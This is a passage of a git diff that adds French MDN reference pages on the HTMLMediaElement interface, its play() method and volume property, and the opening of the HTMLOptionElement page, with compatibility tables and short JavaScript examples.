+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlmediaelement/index.html b/files/fr/web/api/htmlmediaelement/index.html
new file mode 100644
index 0000000000..d5d7e48c46
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/index.html
@@ -0,0 +1,238 @@
+---
+title: HTMLMediaElement
+slug: Web/API/HTMLMediaElement
+tags:
+  - API
+  - Audio
+  - DOM
+  - Interface
+  - Media
+  - Video
+translation_of: Web/API/HTMLMediaElement
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>L'interface <strong><code>HTMLMediaElement</code></strong> ajoute à {{domxref("HTMLElement")}} les propriétés et les méthodes nécessaires pour prendre en charge les fonctionnalités de base liées aux médias qui sont communes aux vidéos et aux documents audios. {{domxref("HTMLVideoElement")}} et {{domxref("HTMLAudioElement")}} héritent de cette interface.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite aussi des propriétés de ses ancêtres </em><em>{{domxref("HTMLElement")}}, {{domxref("Element")}}, {{domxref("Node")}} et {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>est une {{domxref("AudioTrackList")}} qui liste les objets {{domxref("AudioTrack")}} (<em>pistes audio</em>) contenus dans l'élément.</dd>
+ <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt>
+ <dd>est un {{jsxref("Boolean")}} qui reflète l'attribut HTML {{htmlattrxref("autoplay","video")}}, indiquant si la lecture doit commencer automatiquement dès que suffisamment de médias sont disponibles pour le faire sans interruption.</dd>
+ <dd>
+ <div class="note">
+ <p>Les sites qui lisent automatiquement l'audio (ou les vidéos avec une piste audio) peuvent être désagréables pour les utilisateurs, il faut donc l'éviter autant que possible. Si vous devez offrir la fonctionnalité de lecture automatique, vous devez la faire activer (par un utilisateur qui la lance expréssement). Cependant, cela peut être utile lors de la création d'éléments média dont la source sera définie ultérieurement, sous le contrôle de l'utilisateur.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.buffered")}}{{readonlyinline}}</dt>
+ <dd>Renvoie un objet {{domxref("TimeRanges")}} qui indique les plages de la source du média que le navigateur a en mémoire tampon (le cas échéant) au moment de l'accès à la propriété <code>buffered</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.controller")}}</dt>
+ <dd>est un objet {{domxref("MediaController")}} qui représente le contrôleur du média assigné à l'élément, ou <code>null</code> si aucun n'est défini.</dd>
+ <dt>{{domxref("HTMLMediaElement.controls")}}</dt>
+ <dd>est un {{jsxref('Boolean')}} qui reflète l'attribut HTML {{htmlattrxref("controls","video")}}, indiquant quels éléments de contrôle de ressource de l'interface utilisateur doivent être affichés.</dd>
+ <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt>
+ <dd>renvoie une {{domxref("DOMTokenList")}} qui aide l'agent utilisateur à sélectionner les contrôles à afficher sur l'élément du média chaque fois que l'agent utilisateur affiche son propre jeu de contrôles. La <code>DOMTokenList</code> prend une ou plusieurs des trois valeurs possibles : <code>nodownload</code>, <code>nofullscreen</code> et <code>noremoteplayback</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) indiquant les <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Reglages_des_attributs_CORS">règlages CORS</a> pour cet élément de média.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentSrc")}}{{readonlyinline}}</dt>
+ <dd>Renvoie une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) avec l'URL absolue de la ressource de média choisie.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentTime")}}</dt>
+ <dd>est un <code>double</code> indiquant le temps de lecture actuel en secondes. La définition de cette valeur recherche le média à la nouvelle heure.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultMuted")}}</dt>
+ <dd>est un {{jsxref('Boolean')}} qui reflète l'attribut HTML {{htmlattrxref("muted","video")}}, qui indique si la sortie audio de l'élément média doit être désactivée par défaut.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt>
+ <dd>est un <code>double</code> indiquant le taux de lecture par défaut pour le média.</dd>
+ <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt>
+ <dd>est un {{jsxref('Boolean')}} qui définit ou retourne l'état de lecture à distance, indiquant si l'élément de média est autorisé à avoir une interface de lecture à distance.</dd>
+ <dt>{{domxref("HTMLMediaElement.duration")}}{{readonlyinline}}</dt>
+ <dd>renvoie un <code>double</code> indiquant la longueur du média en secondes, ou 0 si aucune donnée multimédia n'est disponible.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended")}}{{readonlyinline}}</dt>
+ <dd>renvoie un {{jsxref('Boolean')}} qui indique si l'élément média est terminé.</dd>
+ <dt>{{domxref("HTMLMediaElement.error")}}{{readonlyinline}}</dt>
+ <dd>renvoie un objet {{domxref("MediaError")}} pour l'erreur la plus récente, ou <code>null</code> s'il n'y a pas eu d'erreur.</dd>
+ <dt>{{domxref("HTMLMediaElement.loop")}}</dt>
+ <dd>est un {{jsxref('Boolean')}} qui reflète l'attribut HTML {{htmlattrxref("loop","video")}} (<em>boucle</em>), lequel indique si l'élément média doit recommencer quand il arrive à la fin.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaGroup")}}</dt>
+ <dd>est une {{domxref("DOMString")}} qui reflète l'attribut HTML {{htmlattrxref("mediagroup","video")}}, lequel indique le nom du groupe d'éléments auquel il appartient. Un groupe d'éléments média partage un  {{domxref('MediaController')}} commun.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaKeys")}}{{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Renvoie un objet {{domxref("MediaKeys")}} ou <code>null</code>. <code>MediaKeys</code> est un ensemble de clés qu'un élément <code>HTMLMediaElement</code> associé peut utiliser pour déchiffrer les données du média pendant la lecture.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozAudioCaptured")}}{{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>renvoie un {{jsxref('Boolean')}}. Lié à la capture de flux audio.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}</dt>
+ <dd>est un <code>double</code> qui donne accès à l'heure de fin du fragment si l'élément média a un fragment URI pour <code>currentSrc</code>, sinon il est égal à la durée du média.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>est un <code>unsigned long</code> qui indique le nombre d'échantillons qui seront renvoyés dans le "framebuffer" de chaque évènement <code>MozAudioAvailable</code>. Ce nombre est un total pour tous les canaux, et par défaut est défini par le nombre de canaux * 1024 (c'est-à-dire, 2 canaux * 1024 échantillons = total 2048).</p>
+
+ <p>La propriété <code>mozFrameBufferLength</code> peut être définie à une nouvelle valeur pour une latence plus faible, de plus grandes quantités de données, etc. La taille donnée <em>doit</em> être un nombre compris entre 512 et 16384. L'utilisation d'autres tailles entraîne la levée d'une exception. Le meilleur moment pour définir une nouvelle longueur est après le lancement de l'évènement <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a>, lorsque l'information audio est connue, mais avant que l'audio ait commencé ou que les événements <code>MozAudioAvailable</code> aient commencé à se déclencher.</p>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.mozSampleRate")}}{{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>renvoie un <code>double</code> représentant le nombre d'échantillons par seconde. Par exemple, 44100 échantillons par seconde correspondent à la fréquence d'échantillonnage utilisée par les CD audio.</dd>
+ <dt>{{domxref("HTMLMediaElement.muted")}}</dt>
+ <dd>est un {{jsxref('Boolean')}} qui détermine si l'audio est coupé. <code>true</code> (<em>vrai</em>) si l'audio est coupé et <code>false</code> (<em>faux</em>) sinon.</dd>
+ <dt>{{domxref("HTMLMediaElement.networkState")}}{{readonlyinline}}</dt>
+ <dd>renvoie un <code>unsigned short</code> (énumération) indiquant l'état actuel de récupération du média sur le réseau.</dd>
+ <dt>{{domxref("HTMLMediaElement.paused")}}{{readonlyinline}}</dt>
+ <dd>renvoie un {{jsxref('Boolean')}} qui indique si l'élément média est en pause.</dd>
+ <dt>{{domxref("HTMLMediaElement.playbackRate")}}</dt>
+ <dd>est un <code>double</code> qui indique la vitesse à laquelle le média est lu.</dd>
+ <dt>{{domxref("HTMLMediaElement.played")}}{{readonlyinline}}</dt>
+ <dd>renvoie un objet {{domxref('TimeRanges')}} qui contient les plages de la source média que le navigateur a lu, le cas échéant.</dd>
+ <dt>{{domxref("HTMLMediaElement.preload")}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne</em>) qui reflète l'attribut HTML {{htmlattrxref("preload","video")}}, indiquant quelles données doivent être préchargées, le cas échéant. Les valeurs possibles sont : <code>none</code>, <code>metadata</code>, <code>auto</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}</dt>
+ <dd>est un {{jsxref('Boolean')}} qui détermine si la hauteur du son sera préservée. S'il est défini à <code>false</code> (<em>faux</em>), la hauteur du son s'ajustera à la vitesse de l'audio. C'est implémenté avec préfixe dans Firefox (<code>mozPreservesPitch</code>) et WebKit (<code>webkitPreservesPitch</code>).</dd>
+ <dt>{{domxref("HTMLMediaElement.readyState")}}{{readonlyinline}}</dt>
+ <dd>Renvoie un <code>unsigned short</code> (énumération) indiquant l'état de préparation des médias.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekable")}}{{readonlyinline}}</dt>
+ <dd>Renvoie un objet {{domxref('TimeRanges')}} qui contient les plages de temps que l'utilisateur peut rechercher, le cas échéant.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking")}}{{readonlyinline}}</dt>
+ <dd>Renvoie un {{jsxref('Boolean')}} qui indique si les médias sont en train de chercher une nouvelle position.</dd>
+ <dt>{{domxref("HTMLMediaElement.sinkId")}}{{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Renvoie une {{domxref("DOMString")}} (<em>chaîne</em>) qui est l'identifiant unique du périphérique audio de sortie, ou une chaîne vide s'il utilise l'agent utilisateur par défaut. Cet identifiant doit être l'une des valeurs <code>MediaDeviceInfo.deviceid</code> retournées par {{domxref("MediaDevices.enumeratedDevices()")}}, <code>id-multimedia</code> ou <code>id-communications</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.src")}}</dt>
+ <dd>est une {{domxref("DOMString")}} qui reflète l'attribut HTML {{htmlattrxref("src","video")}}, lequel contient l'URL d'une ressource média à utiliser.</dd>
+ <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt>
+ <dd>est un {{domxref('MediaStream')}} représentant le média à lire ou qui a joué dans le <code>HTMLMediaElement</code> courant, ou <code>null</code> s'il n'est pas assigné.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}}{{readonlyinline}}</dt>
+ <dd>Renvoie la liste d'objets {{domxref("TextTrack")}} (<em>piste de texte</em>) contenus dans l'élément.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}}{{readonlyinline}}</dt>
+ <dd>Renvoie la liste d'objets {{domxref("VideoTrack")}} (<em>pistes vidéo</em>) contenus dans l'élément.
+ <div class="note">
+ <p><strong>Note : </strong>Gecko ne prend en charge que la lecture d'une seule piste et l'analyse des métadonnées des pistes n'est disponible que pour les médias avec le format de conteneur Ogg.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.volume")}}</dt>
+ <dd>est un <code>double</code> indiquant le volume audio, de 0.0 (silence) à 1.0 (le plus fort).</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévènements">Gestionnaires d'évènements</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onencrypted")}}</dt>
+ <dd>définit le {{domxref('EventHandler')}} (<em>gestionnaire d'évènements</em>) appelé quand le média est encrypté.</dd>
+ <dt>{{domxref("HTMLMediaElement.onwaitingforkey")}}</dt>
+ <dd>définit le {{domxref('EventHandler')}} (<em>gestionnaire d'évènements</em>) appelé quand la lecture est bloquée en attente d'une clé de chiffrement.</dd>
+</dl>
+
+<h2 id="Attributs_obsolètes">Attributs obsolètes</h2>
+
+<p>Ces attributs sont obsolètes et ne doivent plus être utilisés, même si un navigateur les prend encore en charge.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>renvoie un <code>double</code> qui indique la position de lecture initiale en secondes.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>renvoie un <code>double</code> représentant le nombre de canaux dans la ressource audio (c'est-à-dire 2 pour stéréo).</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévènements_obsolètes">Gestionnaires d'évènements obsolètes</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>définit le {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsque l'élément média est interrompu du fait du gestionnaire de canaux audio. C'était une spécificité de Firefox, implémentée pour Firefox OS et supprimée à partir de Firefox 55.</dd>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>définit le {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) appelé lorsque l'interruption est terminée. C'était une spécificité de Firefox, implémentée pour Firefox OS et supprimée à partir de Firefox 55.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite aussi des méthodes de ses ancêtres {{domxref("HTMLElement")}}, {{domxref('Element')}}, {{domxref('Node')}} et {{domxref('EventTarget')}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.addTextTrack()")}}</dt>
+ <dd>Ajoute une piste de texte (telle qu'une piste pour les sous-titres) à un élément de média.</dd>
+ <dt>{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Renvoie {{domxref("MediaStream")}}, capture un flux du contenu du média.</dd>
+ <dt>{{domxref("HTMLMediaElement.canPlayType()")}}</dt>
+ <dd>Détermine si le type de média spécifié peut être lu.</dd>
+ <dt>{{domxref("HTMLMediaElement.fastSeek()")}}</dt>
+ <dd>cherche directement à l'heure donnée.</dd>
+ <dt>{{domxref("HTMLMediaElement.load()")}}</dt>
+ <dd>Réinitialise l'élément média et redémarre la ressource. Tous les événements en attente sont ignorés. La quantité de données média récupérées est toujours affectée par l'attribut <code>preload</code>. Cette méthode peut être utile pour libérer des ressources après la suppression de tout attribut <code>src</code> et des descendants d'éléments <code>source</code>. Sinon, il est généralement inutile d'utiliser cette méthode, à moins que cela ne soit nécessaire pour réanalyser les enfants de l'élément <code>source</code> après des modifications dynamiques.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}</dt>
+ <dd>[enter description]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}</dt>
+ <dd>Renvoie un {{jsxref('Object')}}, qui contient des propriétés représentant les métadonnées de la ressource média en cours de lecture, comme paires <code>{key: value}</code>. Une copie distincte des données est renvoyée chaque fois que la méthode est appelée. Cette méthode doit être appelée après le déclenchement de l'évènement <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a>.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause()")}}</dt>
+ <dd>met en pause la lecture du média.</dd>
+ <dt>{{domxref("HTMLMediaElement.play()")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="fr"><span>commence la lecture du média.</span></span></dd>
+ <dt>{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}</dt>
+ <dd>cherche l'image suivante dans les médias. Cette méthode expérimentale non standard permet de conduire manuellement la lecture et le rendu des médias à une vitesse personnalisée, ou de se déplacer dans le média image par image pour effectuer un filtrage ou d'autres opérations.</dd>
+ <dt>{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}</dt>
+ <dd>Renvoie {{jsxref("Promise")}}. Définit les {{domxref("MediaKeys")}}, clés à utiliser quand le média doit être décrypté pendant la lecture.</dd>
+ <dt>{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}</dt>
+ <dd>définit l'identifiant du périphérique audio à utiliser en sortie et renvoie un {{jsxref("Promise")}}. Cela fonctionne uniquement quand l'application est autorisée à utiliser l'appareil spécifié.</dd>
+</dl>
+
+<h2 id="Méthodes_obsolètes">Méthodes obsolètes</h2>
+
+<p>Ces méthodes sont obsolètes et ne doivent plus être utilisées, même si un navigateur les prend encore en charge.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Cette méthode, disponible seulement pour les implémentations Mozilla, charge les données d'un autre élément de média. Ce fonctionnement est similaire à <code>load()</code> excepté qu'à la place d'exécuter l'algorithme normal de sélection de la ressource, la source est simplement définie sur  <code>currentSrc</code> de l'autre élément. Ceci est optimisé pour que cet élément accède à toutes les données mises en cache et en mémoire tampon de l'autre élément ; en fait, les deux éléments partagent les données téléchargées, de sorte que les données téléchargées par l'un ou l'autre élément sont disponibles pour les deux.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}</td>
+   <td>{{Spec2('EME')}}</td>
+   <td>Ajout de {{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, et setMediaKeys.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Ajout de <code>sinkId</code>, <code>setSinkId()</code> et <code>captureStream()</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>References
+  <ul>
+   <li>Les éléments HTML {{HTMLElement("video")}} et {{HTMLElement("audio")}}.</li>
+   <li>Les interfaces {{domxref("HTMLVideoElement")}} et {{domxref("HTMLAudioElement")}}, dérivées de <code>HTMLMediaElement</code>.</li>
+  </ul>
+ </li>
+ <li>Articles
+  <ul>
+   <li><a class="internal" href="https://developer.mozilla.org/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">Contenu audio et video</a></li>
+   <li><a class="internal" href="https://developer.mozilla.org/fr/docs/Web/HTML/Formats_pour_audio_video">Formats pris en charge par <code>audio</code> et <code>video</code></a></li>
+   <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/htmlmediaelement/play/index.html b/files/fr/web/api/htmlmediaelement/play/index.html
new file mode 100644
index 0000000000..b65ea9ebf3
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/play/index.html
@@ -0,0 +1,163 @@
+---
+title: HTMLMediaElement.play()
+slug: Web/API/HTMLMediaElement/play
+tags:
+  - API
+  - Audio
+  - HTMLMediaElement
+  - Interface
+  - Media
+  - Méthode
+  - Reference
+  - Video
+  - play
+translation_of: Web/API/HTMLMediaElement/play
+---
+<p>{{APIRef("HTML DOM")}} {{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>HTMLMediaElement.play()</code></strong> essaie de commencer la lecture du média et renvoie une {{jsxref("Promise")}} qui est résolue quand la lecture a commencé avec succès, et est rejetée si la lecture ne peut commencer pour n'importe quelle raison (comme, par exemple, une erreur de permission).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>Promise</em> = <em>HTMLMediaElement</em>.play();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{jsxref("Promise")}} qui est résolue quand la lecture a commencé, ou rejetée si la lecture ne peut commencer.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Le <em>gestionnaire de rejet</em> de la promesse est appelé avec un nom d'exception comme seul paramètre (contrairement aux exceptions traditionnelles). Les exceptions possibles incluent :</p>
+
+<dl>
+ <dt><code>NotAllowedError</code></dt>
+ <dd>Le client (navigateur) ou système d'exploitation ne permet pas la lecture du média dans le contexte ou la situation actuelle. Ceci peut arriver, par exemple, si le navigateur oblige l'utilisateur à lancer manuellement le média en cliquant sur le bouton "play".</dd>
+ <dt><code>NotSupportedError</code></dt>
+ <dd>La source du média (qui peut être spécifié comme un {{domxref("MediaStream")}}, {{domxref("MediaSource")}}, {{domxref("Blob")}}, ou {{domxref("File")}}, par example) ne représente pas un format supporté.</dd>
+</dl>
+
+<p>D'autres types d'exceptions peuvent survenir selon l'implémentation du navigateur, du lecteur de média, etc.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple commence la lecture d'un élément <code>video</code> et met à jour une box avec un message de succès si la lecture a bien démarré et un message d'erreur si une erreur survient.</p>
+
+<pre class="brush: js">let myVideo = document.getElementById("myVideoElement");
+
+myVideo.play().then(() =&gt; {
+  document.getElementById("statusText").innerHTML = "Yay ! La vidéo est lancée !";
+}).catch((error) =&gt; {
+ document.getElementById("statusText").innerHTML = "Erreur: " + error;
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#dom-media-play', 'play()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale; living specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','embedded-content-0.html#playing-the-media-resource','play()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>Notez que les versions WHATWG et W3C de la spécification diffèrent (depuis le 20 Avril 2016) par le fait que cette méthode renvoie respectivement une {{jsxref("Promise")}} ou rien du tout.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Renvoie une promesse</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(53)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td>Renvoie une promesse</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(53)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/htmlmediaelement/volume/index.html b/files/fr/web/api/htmlmediaelement/volume/index.html
new file mode 100644
index 0000000000..130734e004
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/volume/index.html
@@ -0,0 +1,66 @@
+---
+title: HTMLMediaElement.volume
+slug: Web/API/HTMLMediaElement/volume
+tags:
+  - API
+  - Audio
+  - HTML DOM
+  - Property
+  - Propriété
+  - Reference
+  - Volume
+  - sound
+translation_of: Web/API/HTMLMediaElement/volume
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>La propriété <strong><code>HTMLMediaElement.volume</code></strong> définit le volume auquel le média doit être lu. </p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>volume</em> ​= <em>video</em>.volume; //1</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une valeur de type double (nombre à virgule) inclut entre 0 et 1, si elle vaut 0 le son est coupé et elle vaut 1 le son est le plus élevé possible.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre>var obj = document.createElement('audio');
+console.log(obj.volume); // 1
+obj.volume = 0.75;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-media-volume", "HTMLMediaElement.volume")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.volume")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement.volume")}}</p>
+
+<h2 id="See_Also" name="See_Also">Voir aussi</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLMediaElement")}}.</li>
+ <li>{{domxref("HTMLMediaElement.muted")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmloptionelement/index.html b/files/fr/web/api/htmloptionelement/index.html
new file mode 100644
index 0000000000..100dfce550
--- /dev/null
+++ b/files/fr/web/api/htmloptionelement/index.html
@@ -0,0 +1,177 @@
+---
+title: HTMLOptionElement
+slug: Web/API/HTMLOptionElement
+translation_of: Web/API/HTMLOptionElement
+---
+<div>
+ {{ApiRef}}</div>
+<p>L'interface <code>HTMLOptionElement</code> représente l'élément {{HTMLElement("option")}} et hérite de toutes les classes et méthodes de l'intreface {{domxref("HTMLElement")}} .</p>
+<h2 id="Propriétés"><em>Propriétés</em></h2>
+<p><em>hérite des propriétés de son parent, {{domxref("HTMLElement")}}.</em></p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>defaultSelected</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>
+    <p>Contient la valeur initiale de l'attribut HTML {{htmlattrxref("selected", "option")}} ,indiquant si l'option est sélectionnée par défaut ou non.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>
